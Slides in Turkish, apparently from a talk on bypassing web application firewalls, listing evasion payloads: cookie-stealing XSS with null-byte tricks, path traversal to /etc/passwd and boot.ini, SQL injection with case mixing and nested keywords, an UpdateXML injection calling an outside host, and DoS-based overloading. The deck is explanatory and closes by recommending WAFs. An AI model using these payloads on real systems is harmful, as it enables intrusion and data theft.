  • 31. Özel Karakterler Kullanmak Nullbyte, boşluk, slash veya newline karakterleri kullanmak 1. id=%3Cscript%3Ealert(document.cookie)%3C/script%00TESTTEST%3E 2. id=%3Cscript%3Ealert(document.cookie)%3C/script%20TESTTEST%3E 3. id=";eval(unescape(location))//#%0Aalert(0) 4. file=../../../../../etc/passwd/////[…]///// 5. file=../../../../../etc/passwd////////////// 6. uyg.php?file=.//././/././/./boot.ini 7. id%00TESTTEST=1+union+select+1,2,3 31
  • 33. Bellek Taşması d=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 tane A) +UnIoN+SeLeCT+1,2,version(),4,5, database(),user(),8,9,10,11,12,13, 14,15,16,17,18,19,20,21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35, 36–+ 33
  • 34. Karalistedeki Kelimeri Silme Bazı güvenlik kontrolleri belirli anahtar kelimeleri tamamen siler. Bu tip filtreleri şu şekilde atlatabiliriz: id=1+UNIunionON+SeLselectECT+1,2,3– union ve select filtreleri silindiğinde geriye bizim istediğimiz atak isteği kalacaktır: UNION+SELECT+1,2,3– 34
  • 35. Yeni SQL Özellikleri WAF ‘ların Düşmanı, Hacker ’ların dostudur. MySQL/PostgreSQL XML fonksiyonlarını destekler: SELECT UpdateXML('<script x=_></script>',’/script/ @x','src=//0x.lv'); 35
  • 37. SSL Üzerinden Atlatma WAF’lar kurulurken genellikle SSL için gerekli ayarlar yapılmaz. SSL güvenli iletişim sağlamak için trafiği şifreler. WAF için eğer gerekli SSL ayarları yapılmazsa SSL trafiğini analiz edemeyeceği için saldırıları engelleyemez. 37
  • 38. Güçlü SSL Cipher’ları Kullanma WAF ‘lar SSL trafiğini analiz edebilmek için ayarlanmış olsalar bile yeterli olmayabilir. WAF’lar tarafından desteklenmeyen fakat sunucu üzerindeki desteği bulunan SSL cipher'ları kullanılabilir. 38
  • 39. Yük Yaratarak Atlatma WAF aşırı yüklendiğinde ne olur? Aşırı yüklemek için WAF’ı yoran istekler gönderilebilir: XML, SOAP, regular expression DOS (Denial of Service – Hizmet Engelleme) atakları DDoS (Distrubuted DoS – Dağıtık Hizmet Engelleme) atakları 39
  • 40. Sonuçlar WAF ‘lar genel olarak «blacklisting» modda regex kurallarıyla atakları engellemeye çalışırlar. Bu yüzden tanımlı kurallara uymayan saldırılar kullanılarak her WAF atlatılabilir. Fakat, güvenlik bakış açısıyla maliyet etkin (cost-effective) olabilirler. Bu yüzden özellikle kritik web uygulamalarının WAF ile korunması önerilmektedir. 40